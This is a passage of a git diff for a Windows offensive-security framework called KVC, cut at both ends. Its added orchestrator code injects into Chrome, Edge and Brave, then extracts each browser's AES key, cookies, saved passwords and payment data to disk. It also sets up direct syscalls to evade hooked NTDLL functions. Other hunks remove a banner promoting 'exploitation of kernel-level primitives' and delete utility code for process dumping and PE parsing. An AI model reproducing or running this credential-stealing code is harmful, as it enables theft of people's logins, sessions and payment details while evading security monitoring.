auto installedBrowsers = resolver.findAllInstalledBrowsers(); + + if (installedBrowsers.empty()) + { + console.Error("No supported browsers found on this system"); + return; + } + + if (!verbose) + console.Info("Processing " + std::to_string(installedBrowsers.size()) + " browser(s):\n"); + + int successCount = 0; + int failCount = 0; + + for (size_t i = 0; i < installedBrowsers.size(); ++i) + { + const auto& [browserType, browserPath] = installedBrowsers[i]; + + Configuration config; + config.verbose = verbose; + config.outputPath = outputPath; + config.browserType = browserType; + config.browserDefaultExePath = browserPath; + + static const std::map> browserMap = { + {L"chrome", {L"chrome.exe", "Chrome"}}, + {L"edge", {L"msedge.exe", "Edge"}}, + {L"brave", {L"brave.exe", "Brave"}} + }; + + auto it = browserMap.find(browserType); + if (it != browserMap.end()) + { + config.browserProcessName = it->second.first; + config.browserDisplayName = it->second.second; + } + + if (verbose) + { + console.Info("\n[Browser " + std::to_string(i + 1) + "/" + + std::to_string(installedBrowsers.size()) + + "] Processing " + config.browserDisplayName); + } + + try + { + auto stats = RunInjectionWorkflow(config, console); + successCount++; + + if (verbose) + { + console.Success(config.browserDisplayName + " analysis completed"); + } + else + { + DisplayExtractionSummary(config.browserDisplayName, stats, console, false, + config.outputPath); + if (i < installedBrowsers.size() - 1) + std::cout << std::endl; + } + } + catch (const std::exception& e) + { + failCount++; + + if (verbose) + { + console.Error(config.browserDisplayName + " analysis failed: " + std::string(e.what())); + } + else + { + console.Info(config.browserDisplayName); + console.Error("Analysis failed"); + if (i < installedBrowsers.size() - 1) + std::cout << std::endl; + } + } + } + + std::cout << std::endl; + console.Info("Completed: " + std::to_string(successCount) + " successful, " + + std::to_string(failCount) + " failed"); +} + +// Displays formatted extraction summary with statistics +void DisplayExtractionSummary(const std::string& browserName, + const PipeCommunicator::ExtractionStats& stats, + const Console& console, bool singleBrowser, + const fs::path& outputPath) +{ + if (singleBrowser) + { + if (!stats.aesKey.empty()) + console.Success("AES Key: " + stats.aesKey); + + std::string summary = BuildExtractionSummary(stats); + if (!summary.empty()) + { + console.Success(summary); + console.Success("Stored in " + Utils::path_to_api_string(outputPath / browserName)); + } + else + { + console.Warn("No data extracted"); + } + } + else + { + console.Info(browserName); + + if (!stats.aesKey.empty()) + console.Success("AES Key: " + stats.aesKey); + + std::string summary = BuildExtractionSummary(stats); + if (!summary.empty()) + { + console.Success(summary); + console.Success("Stored in " + Utils::path_to_api_string(outputPath / browserName)); + } + else + { + console.Warn("No data extracted"); + } + } +} + +// Builds human-readable summary from extraction statistics +std::string BuildExtractionSummary(const PipeCommunicator::ExtractionStats& stats) +{ + std::stringstream summary; + std::vector items; + + if (stats.totalCookies > 0) + items.push_back(std::to_string(stats.totalCookies) + " cookies"); + if (stats.totalPasswords > 0) + items.push_back(std::to_string(stats.totalPasswords) + " passwords"); + if (stats.totalPayments > 0) + items.push_back(std::to_string(stats.totalPayments) + " payments"); + + if (!items.empty()) + { + summary << "Extracted "; + for (size_t i = 0; i < items.size(); ++i) + { + if (i > 0 && i == items.size() - 1) + summary << " and "; + else if (i > 0) + summary << ", "; + summary << items[i]; + } + summary << " from " << stats.profileCount << " profile" + << (stats.profileCount != 1 ? "s" : ""); + } + + return summary.str(); +} + +// Application entry point +int wmain(int argc, wchar_t* argv[]) +{ + bool isVerbose = false; + std::wstring browserTarget; + fs::path outputPath; + + // Locate security module in current directory or System32 + auto findSecurityModule = []() -> std::string { + if (fs::exists(SECURITY_MODULE_NAME)) + return SECURITY_MODULE_NAME; + + wchar_t systemDir[MAX_PATH]; + if (GetSystemDirectoryW(systemDir, MAX_PATH) > 0) { + std::string systemPath = Utils::WStringToUtf8(systemDir) + "\\" + SECURITY_MODULE_NAME; + if (fs::exists(systemPath)) + return systemPath; + } + + return ""; + }; + + g_securityModulePath = findSecurityModule(); + if (g_securityModulePath.empty()) + { + std::wcerr << L"Error: " << SECURITY_MODULE_NAME + << L" not found in current directory or System32!" << std::endl; + return 1; + } + + // Quick argument parsing for early options + for (int i = 1; i < argc; ++i) + { + std::wstring_view arg = argv[i]; + if (arg == L"--verbose" || arg == L"-v") + isVerbose = true; + else if ((arg == L"--output-path" || arg == L"-o") && i + 1 < argc) + outputPath = argv[++i]; + else if (arg == L"--help" || arg == L"-h") + { + Console(false).displayBanner(); + Console(false).printUsage(); + return 0; + } + else if (browserTarget.empty() && !arg.empty() && arg[0] != L'-') + browserTarget = arg; + } + + Console console(isVerbose); + console.displayBanner(); + + // Verify SQLite library availability + if (!CheckWinSQLite3Available()) + { + console.Warn("winsqlite3.dll not available - trying fallback to sqlite3.dll"); + if (!fs::exists("sqlite3.dll")) + { + console.Error("Neither winsqlite3.dll nor sqlite3.dll available"); + return 1; + } + } + + if (browserTarget.empty()) + { + console.printUsage(); + return 0; + } + + // Initialize direct syscalls + if (!InitializeSyscalls(isVerbose)) + { + console.Error("Failed to initialize direct syscalls. Critical NTDLL functions might be hooked."); + return 1; + } + + // Ensure output directory exists + if (outputPath.empty()) + outputPath = fs::current_path() / "output"; + + std::error_code ec; + if (!fs::exists(outputPath)) { + fs::create_directories(outputPath, ec); + if (ec) { + console.Error("Failed to create output directory: " + + Utils::path_to_api_string(outputPath) + ". Error: " + ec.message()); + return 1; + } + } + + // Process browser(s) + if (browserTarget == L"all") + { + try + { + ProcessAllBrowsers(console, isVerbose, outputPath); + } + catch (const std::exception& e) + { + console.Error(e.what()); + return 1; + } + } + else + { + auto optConfig = Configuration::CreateFromArgs(argc, argv, console); + if (!optConfig) + return 1; + + try + { + if (!isVerbose) + console.Info("Processing " + optConfig->browserDisplayName + "...\n"); + + auto stats = RunInjectionWorkflow(*optConfig, console); + + if (!isVerbose) + DisplayExtractionSummary(optConfig->browserDisplayName, stats, console, true, + optConfig->outputPath); + else + console.Success("\nSecurity analysis completed successfully"); + } + catch (const std::runtime_error& e) + { + console.Error(e.what()); + return 1; + } + } + + console.Debug("Security orchestrator finished successfully."); + return 0; +} \ No newline at end of file diff --git a/kvc/OrchestratorCore.h b/kvc/OrchestratorCore.h new file mode 100644 index 0000000..8764127 --- /dev/null +++ b/kvc/OrchestratorCore.h @@ -0,0 +1,41 @@ +// OrchestratorCore.h - Main orchestration logic and configuration management +#ifndef ORCHESTRATOR_CORE_H +#define ORCHESTRATOR_CORE_H + +#include +#include +#include +#include +#include "CommunicationLayer.h" +#include "EdgeDPAPI.h" + +namespace fs = std::filesystem; + +// Application configuration parsed from command-line arguments +struct Configuration +{ + bool verbose = false; + fs::path outputPath; + std::wstring browserType; + std::wstring browserProcessName; + std::wstring browserDefaultExePath; + std::string browserDisplayName; + + // Parses command line arguments and builds configuration + static std::optional CreateFromArgs(int argc, wchar_t* argv[], const Console& console); +}; + +// Executes the complete browser analysis workflow +PipeCommunicator::ExtractionStats RunInjectionWorkflow(const Configuration& config, const Console& console); + +// Processes all installed browsers in batch mode +void ProcessAllBrowsers(const Console& console, bool verbose, const fs::path& outputPath); + +// Displays final extraction summary for a single browser +void DisplayExtractionSummary(const std::string& browserName, const PipeCommunicator::ExtractionStats& stats, + const Console& console, bool singleBrowser, const fs::path& outputPath); + +// Builds a human-readable summary string from extraction statistics +std::string BuildExtractionSummary(const PipeCommunicator::ExtractionStats& stats); + +#endif // ORCHESTRATOR_CORE_H \ No newline at end of file diff --git a/kvc/ProcessManager.cpp b/kvc/ProcessManager.cpp index 7ab9ad4..1a08092 100644 --- a/kvc/ProcessManager.cpp +++ b/kvc/ProcessManager.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - // ProcessManager.cpp #include "ProcessManager.h" #include "Controller.h" diff --git a/kvc/ReportExporter.cpp b/kvc/ReportExporter.cpp index 7fc6ebc..bc2a8c4 100644 --- a/kvc/ReportExporter.cpp +++ b/kvc/ReportExporter.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - #include "ReportExporter.h" #include "Controller.h" #include diff --git a/kvc/SelfLoader.cpp b/kvc/SelfLoader.cpp index 2fee2ef..a9c02f5 100644 --- a/kvc/SelfLoader.cpp +++ b/kvc/SelfLoader.cpp @@ -1,29 +1,4 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - -// SelfLoader.cpp +// SelfLoader.cpp #include #include #include diff --git a/kvc/ServiceManager.cpp b/kvc/ServiceManager.cpp index 3776e7e..5d23b22 100644 --- a/kvc/ServiceManager.cpp +++ b/kvc/ServiceManager.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - #include "ServiceManager.h" #include "Controller.h" #include "KeyboardHook.h" diff --git a/kvc/TrustedInstallerIntegrator.cpp b/kvc/TrustedInstallerIntegrator.cpp index cc5ed25..a05855a 100644 --- a/kvc/TrustedInstallerIntegrator.cpp +++ b/kvc/TrustedInstallerIntegrator.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - #include "TrustedInstallerIntegrator.h" #include "common.h" #include diff --git a/kvc/Utils.cpp b/kvc/Utils.cpp index 2cb8258..e6f1e87 100644 --- a/kvc/Utils.cpp +++ b/kvc/Utils.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - // Utils.cpp - Fixed compilation issues with NtQuerySystemInformation #include "Utils.h" #include "common.h" diff --git a/kvc/Utils_refactor.cpp b/kvc/Utils_refactor.cpp deleted file mode 100644 index 726ec01..0000000 --- a/kvc/Utils_refactor.cpp +++ /dev/null @@ -1,662 +0,0 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - -//============================================================================== -// Utils.cpp - System utility functions with modern C++ optimizations -// Enhanced performance, robust error handling, low-level system operations -//============================================================================== - -#include "Utils.h" -#include "common.h" -#include -#include -#include -#include -#include -#include -#include -#include -#include - -namespace fs = std::filesystem; - -namespace Utils { - -//============================================================================== -// STRING AND NUMERIC PARSING UTILITIES -//============================================================================== - -[[nodiscard]] std::optional ParsePid(const std::wstring& pidStr) noexcept -{ - if (pidStr.empty()) return std::nullopt; - - try { - // Fast path for single digits - if (pidStr.length() == 1 && std::iswdigit(pidStr[0])) { - return static_cast(pidStr[0] - L'0'); - } - - // Validate all characters are digits before conversion - if (!std::all_of(pidStr.begin(), pidStr.end(), - [](wchar_t c) { return std::iswdigit(c); })) { - return std::nullopt; - } - - const unsigned long result = std::wcstoul(pidStr.c_str(), nullptr, 10); - return (result <= MAXDWORD && result != ULONG_MAX) ? - std::make_optional(static_cast(result)) : std::nullopt; - - } catch (...) { - return std::nullopt; - } -} - -[[nodiscard]] bool IsNumeric(const std::wstring& str) noexcept -{ - return !str.empty() && - std::all_of(str.begin(), str.end(), - [](wchar_t c) { return c >= L'0' && c <= L'9'; }); -} - -//============================================================================== -// ADVANCED FILE OPERATIONS WITH ROBUST ERROR HANDLING -//============================================================================== - -bool ForceDeleteFile(const std::wstring& path) noexcept -{ - // Fast path - try normal delete first - if (DeleteFileW(path.c_str())) { - return true; - } - - // Remove file attributes that might prevent deletion - const DWORD attrs = GetFileAttributesW(path.c_str()); - if (attrs != INVALID_FILE_ATTRIBUTES) { - SetFileAttributesW(path.c_str(), FILE_ATTRIBUTE_NORMAL); - - // Retry after attribute removal - if (DeleteFileW(path.c_str())) { - return true; - } - } - - // Last resort: schedule deletion after reboot - wchar_t tempPath[MAX_PATH]; - if (GetTempPathW(MAX_PATH, tempPath)) { - wchar_t tempFile[MAX_PATH]; - if (GetTempFileNameW(tempPath, L"KVC", 0, tempFile)) { - if (MoveFileExW(path.c_str(), tempFile, MOVEFILE_REPLACE_EXISTING)) { - return MoveFileExW(tempFile, nullptr, MOVEFILE_DELAY_UNTIL_REBOOT); - } - } - } - - return false; -} - -bool WriteFile(const std::wstring& path, const std::vector& data) -{ - if (data.empty()) return false; - - // Ensure parent directory exists - const fs::path filePath = path; - std::error_code ec; - fs::create_directories(filePath.parent_path(), ec); - - // Remove existing file if present - if (fs::exists(filePath)) { - ForceDeleteFile(path); - } - - // Create file with appropriate security attributes - const HANDLE hFile = CreateFileW(path.c_str(), GENERIC_WRITE, 0, nullptr, - CREATE_NEW, FILE_ATTRIBUTE_NORMAL, nullptr); - if (hFile == INVALID_HANDLE_VALUE) { - return false; - } - - // Write data in chunks for large files - prevents memory issues - constexpr DWORD CHUNK_SIZE = 64 * 1024; // 64KB chunks - DWORD totalWritten = 0; - - while (totalWritten < data.size()) { - const DWORD bytesToWrite = std::min(CHUNK_SIZE, - static_cast(data.size() - totalWritten)); - DWORD bytesWritten; - - if (!::WriteFile(hFile, data.data() + totalWritten, bytesToWrite, - &bytesWritten, nullptr) || bytesWritten != bytesToWrite) { - CloseHandle(hFile); - DeleteFileW(path.c_str()); // Cleanup partial file - return false; - } - - totalWritten += bytesWritten; - } - - // Ensure data is committed to disk - FlushFileBuffers(hFile); - CloseHandle(hFile); - - return true; -} - -std::vector ReadFile(const std::wstring& path) -{ - const HANDLE hFile = CreateFileW(path.c_str(), GENERIC_READ, FILE_SHARE_READ, - nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr); - if (hFile == INVALID_HANDLE_VALUE) { - return {}; - } - - LARGE_INTEGER fileSize; - if (!GetFileSizeEx(hFile, &fileSize)) { - CloseHandle(hFile); - return {}; - } - - // Use memory mapping for files > 64KB - significant performance boost - if (fileSize.QuadPart > 65536) { - const HANDLE hMapping = CreateFileMappingW(hFile, nullptr, PAGE_READONLY, 0, 0, nullptr); - if (hMapping) { - void* const pData = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0); - if (pData) { - std::vector result(static_cast(pData), - static_cast(pData) + fileSize.QuadPart); - UnmapViewOfFile(pData); - CloseHandle(hMapping); - CloseHandle(hFile); - return result; - } - CloseHandle(hMapping); - } - } - - // Fallback to standard read for small files - std::vector buffer(static_cast(fileSize.QuadPart)); - DWORD bytesRead; - - const BOOL success = ::ReadFile(hFile, buffer.data(), static_cast(buffer.size()), - &bytesRead, nullptr); - CloseHandle(hFile); - - return (success && bytesRead == buffer.size()) ? std::move(buffer) : std::vector{}; -} - -//============================================================================== -// RESOURCE EXTRACTION WITH VALIDATION -//============================================================================== - -std::vector ReadResource(int resourceId, const wchar_t* resourceType) -{ - const HRSRC hRes = FindResource(nullptr, MAKEINTRESOURCE(resourceId), resourceType); - if (!hRes) return {}; - - const HGLOBAL hData = LoadResource(nullptr, hRes); - if (!hData) return {}; - - const DWORD dataSize = SizeofResource(nullptr, hRes); - if (dataSize == 0) return {}; - - void* const pData = LockResource(hData); - if (!pData) return {}; - - return std::vector(static_cast(pData), - static_cast(pData) + dataSize); -} - -//============================================================================== -// PROCESS NAME RESOLUTION WITH INTELLIGENT CACHING -//============================================================================== - -static thread_local std::unordered_map g_processCache; -static thread_local DWORD g_lastCacheUpdate = 0; - -[[nodiscard]] std::wstring GetProcessName(DWORD pid) noexcept -{ - // Use CreateToolhelp32Snapshot for reliable process enumeration - const HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); - if (hSnapshot == INVALID_HANDLE_VALUE) { - return L"[Unknown]"; - } - - PROCESSENTRY32W pe{}; - pe.dwSize = sizeof(PROCESSENTRY32W); - - if (Process32FirstW(hSnapshot, &pe)) { - do { - if (pe.th32ProcessID == pid) { - CloseHandle(hSnapshot); - return std::wstring(pe.szExeFile); - } - } while (Process32NextW(hSnapshot, &pe)); - } - - CloseHandle(hSnapshot); - return L"[Unknown]"; -} - -std::wstring ResolveUnknownProcessLocal(DWORD pid, ULONG_PTR kernelAddress, - UCHAR protectionLevel, UCHAR signerType) noexcept -{ - // Cache management - refresh every 30 seconds for performance - const DWORD currentTick = static_cast(GetTickCount64()); - if (currentTick - g_lastCacheUpdate > 30000) { - g_processCache.clear(); - g_lastCacheUpdate = currentTick; - } - - // Check cache first - significant performance improvement - if (const auto cacheIt = g_processCache.find(pid); cacheIt != g_processCache.end()) { - return cacheIt->second; - } - - std::wstring processName = L"Unknown"; - - // Multiple resolution strategies for maximum reliability - if (const HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid)) { - wchar_t imagePath[MAX_PATH] = {}; - DWORD bufferSize = MAX_PATH; - - // Try QueryFullProcessImageName first - most reliable method - if (QueryFullProcessImageNameW(hProcess, 0, imagePath, &bufferSize)) { - const std::wstring fullPath(imagePath); - const size_t lastSlash = fullPath.find_last_of(L'\\'); - processName = (lastSlash != std::wstring::npos) ? - fullPath.substr(lastSlash + 1) : fullPath; - } - - CloseHandle(hProcess); - } - - // Fallback to snapshot-based resolution - if (processName == L"Unknown") { - processName = GetProcessName(pid); - } - - // Cache successful resolutions - if (processName != L"Unknown" && processName != L"[Unknown]") { - g_processCache[pid] = processName; - } - - return processName; -} - -//============================================================================== -// PROTECTION LEVEL PARSING WITH OPTIMIZED LOOKUP TABLES -//============================================================================== - -[[nodiscard]] std::optional GetProtectionLevelFromString(const std::wstring& protectionLevel) noexcept -{ - // Static lookup table - compile-time initialization for optimal performance - static const std::unordered_map levels = { - {L"none", static_cast(PS_PROTECTED_TYPE::None)}, - {L"ppl", static_cast(PS_PROTECTED_TYPE::ProtectedLight)}, - {L"pp", static_cast(PS_PROTECTED_TYPE::Protected)} - }; - - if (protectionLevel.empty()) return std::nullopt; - - // Single allocation for case conversion - std::wstring lower = protectionLevel; - std::transform(lower.begin(), lower.end(), lower.begin(), - [](wchar_t c) { return std::towlower(c); }); - - if (const auto it = levels.find(lower); it != levels.end()) { - return it->second; - } - - return std::nullopt; -} - -[[nodiscard]] std::optional GetSignerTypeFromString(const std::wstring& signerType) noexcept -{ - if (signerType.empty()) return std::nullopt; - - // Convert to lowercase for case-insensitive comparison - std::wstring lower = signerType; - std::transform(lower.begin(), lower.end(), lower.begin(), - [](wchar_t c) { return std::towlower(c); }); - - // Direct string comparisons - fastest for small datasets - if (lower == L"none") return static_cast(PS_PROTECTED_SIGNER::None); - if (lower == L"authenticode") return static_cast(PS_PROTECTED_SIGNER::Authenticode); - if (lower == L"codegen") return static_cast(PS_PROTECTED_SIGNER::CodeGen); - if (lower == L"antimalware") return static_cast(PS_PROTECTED_SIGNER::Antimalware); - if (lower == L"lsa") return static_cast(PS_PROTECTED_SIGNER::Lsa); - if (lower == L"windows") return static_cast(PS_PROTECTED_SIGNER::Windows); - if (lower == L"wintcb") return static_cast(PS_PROTECTED_SIGNER::WinTcb); - if (lower == L"winsystem") return static_cast(PS_PROTECTED_SIGNER::WinSystem); - if (lower == L"app") return static_cast(PS_PROTECTED_SIGNER::App); - - return std::nullopt; -} - -//============================================================================== -// STRING REPRESENTATION FUNCTIONS WITH STATIC STORAGE -//============================================================================== - -[[nodiscard]] const wchar_t* GetProtectionLevelAsString(UCHAR protectionLevel) noexcept -{ - // Static strings eliminate repeated allocations - static const std::wstring none = L"None"; - static const std::wstring ppl = L"PPL"; - static const std::wstring pp = L"PP"; - static const std::wstring unknown = L"Unknown"; - - switch (static_cast(protectionLevel)) { - case PS_PROTECTED_TYPE::None: return none.c_str(); - case PS_PROTECTED_TYPE::ProtectedLight: return ppl.c_str(); - case PS_PROTECTED_TYPE::Protected: return pp.c_str(); - default: return unknown.c_str(); - } -} - -[[nodiscard]] const wchar_t* GetSignerTypeAsString(UCHAR signerType) noexcept -{ - // Jump table approach for maximum performance - static const std::wstring none = L"None"; - static const std::wstring authenticode = L"Authenticode"; - static const std::wstring codegen = L"CodeGen"; - static const std::wstring antimalware = L"Antimalware"; - static const std::wstring lsa = L"Lsa"; - static const std::wstring windows = L"Windows"; - static const std::wstring wintcb = L"WinTcb"; - static const std::wstring winsystem = L"WinSystem"; - static const std::wstring app = L"App"; - static const std::wstring unknown = L"Unknown"; - - switch (static_cast(signerType)) { - case PS_PROTECTED_SIGNER::None: return none.c_str(); - case PS_PROTECTED_SIGNER::Authenticode: return authenticode.c_str(); - case PS_PROTECTED_SIGNER::CodeGen: return codegen.c_str(); - case PS_PROTECTED_SIGNER::Antimalware: return antimalware.c_str(); - case PS_PROTECTED_SIGNER::Lsa: return lsa.c_str(); - case PS_PROTECTED_SIGNER::Windows: return windows.c_str(); - case PS_PROTECTED_SIGNER::WinTcb: return wintcb.c_str(); - case PS_PROTECTED_SIGNER::WinSystem: return winsystem.c_str(); - case PS_PROTECTED_SIGNER::App: return app.c_str(); - default: return unknown.c_str(); - } -} - -[[nodiscard]] const wchar_t* GetSignatureLevelAsString(UCHAR signatureLevel) noexcept -{ - // Static buffer for unknown signature levels - thread-safe - switch (signatureLevel) { - case 0x00: return L"None"; - case 0x08: return L"App"; - case 0x0c: return L"Standard"; // Standard DLL verification - case 0x1c: return L"System"; // System DLL verification - case 0x1e: return L"Kernel"; // Kernel EXE verification - case 0x3c: return L"Service"; // Windows service EXE - case 0x3e: return L"Critical"; // Critical system EXE - case 0x07: - case 0x37: return L"WinSystem"; - default: { - static thread_local wchar_t buf[32]; - swprintf_s(buf, L"Unknown (0x%02x)", signatureLevel); - return buf; - } - } -} - -//============================================================================== -// PROCESS DUMPABILITY ANALYSIS WITH HEURISTICS -//============================================================================== - -[[nodiscard]] ProcessDumpability CanDumpProcess(DWORD pid, const std::wstring& processName) noexcept -{ - ProcessDumpability result{false, L""}; - - // Known undumpable system processes - hardcoded for performance - static const std::unordered_set undumpablePids = { - 4, // System process - 188, // Secure System - 232, // Registry process - 3052 // Memory Compression - }; - - static const std::unordered_set undumpableNames = { - L"System", - L"Secure System", - L"Registry", - L"Memory Compression" - }; - - if (undumpablePids.contains(pid)) { - result.Reason = L"System kernel process - undumpable by design"; - return result; - } - - if (undumpableNames.contains(processName)) { - result.Reason = L"Critical system process - protected by kernel"; - return result; - } - - // Additional heuristics for process dumpability - if (processName == L"[Unknown]" || processName.empty()) { - result.Reason = L"Process name unknown - likely kernel process"; - return result; - } - - // Assume process is dumpable if not in exclusion lists - result.CanDump = true; - result.Reason = L"Process appears dumpable with proper privileges"; - return result; -} - -//============================================================================== -// HEX STRING PROCESSING UTILITIES -//============================================================================== - -[[nodiscard]] bool IsValidHexString(const std::wstring& hexString) noexcept -{ - if (hexString.empty() || (hexString.length() % 2) != 0) { - return false; - } - - return std::all_of(hexString.begin(), hexString.end(), - [](wchar_t c) { - return (c >= L'0' && c <= L'9') || - (c >= L'A' && c <= L'F') || - (c >= L'a' && c <= L'f'); - }); -} - -bool HexStringToBytes(const std::wstring& hexString, std::vector& bytes) noexcept -{ - if (!IsValidHexString(hexString)) { - return false; - } - - bytes.clear(); - bytes.reserve(hexString.length() / 2); - - for (size_t i = 0; i < hexString.length(); i += 2) { - const wchar_t highNibble = hexString[i]; - const wchar_t lowNibble = hexString[i + 1]; - - auto hexToByte = [](wchar_t c) -> BYTE { - if (c >= L'0' && c <= L'9') return static_cast(c - L'0'); - if (c >= L'A' && c <= L'F') return static_cast(c - L'A' + 10); - if (c >= L'a' && c <= L'f') return static_cast(c - L'a' + 10); - return 0; - }; - - const BYTE byte = (hexToByte(highNibble) << 4) | hexToByte(lowNibble); - bytes.push_back(byte); - } - - return true; -} - -//============================================================================== -// PE BINARY PARSING AND MANIPULATION -//============================================================================== - -[[nodiscard]] std::optional GetPEFileLength(const std::vector& data, size_t offset) noexcept -{ - try { - if (data.size() < offset + 64) return std::nullopt; // Not enough data for DOS header - - // Verify DOS signature "MZ" - if (data[offset] != 'M' || data[offset + 1] != 'Z') { - return std::nullopt; - } - - // Get PE header offset from DOS header - DWORD pe_offset; - std::memcpy(&pe_offset, &data[offset + 60], sizeof(DWORD)); - - const size_t pe_header_start = offset + pe_offset; - if (data.size() < pe_header_start + 24) return std::nullopt; - - // Verify PE signature "PE\0\0" - if (std::memcmp(&data[pe_header_start], "PE\0\0", 4) != 0) { - return std::nullopt; - } - - // Parse COFF header for section count - WORD number_of_sections; - std::memcpy(&number_of_sections, &data[pe_header_start + 6], sizeof(WORD)); - - if (number_of_sections == 0) return std::nullopt; - - // Calculate section table location - WORD optional_header_size; - std::memcpy(&optional_header_size, 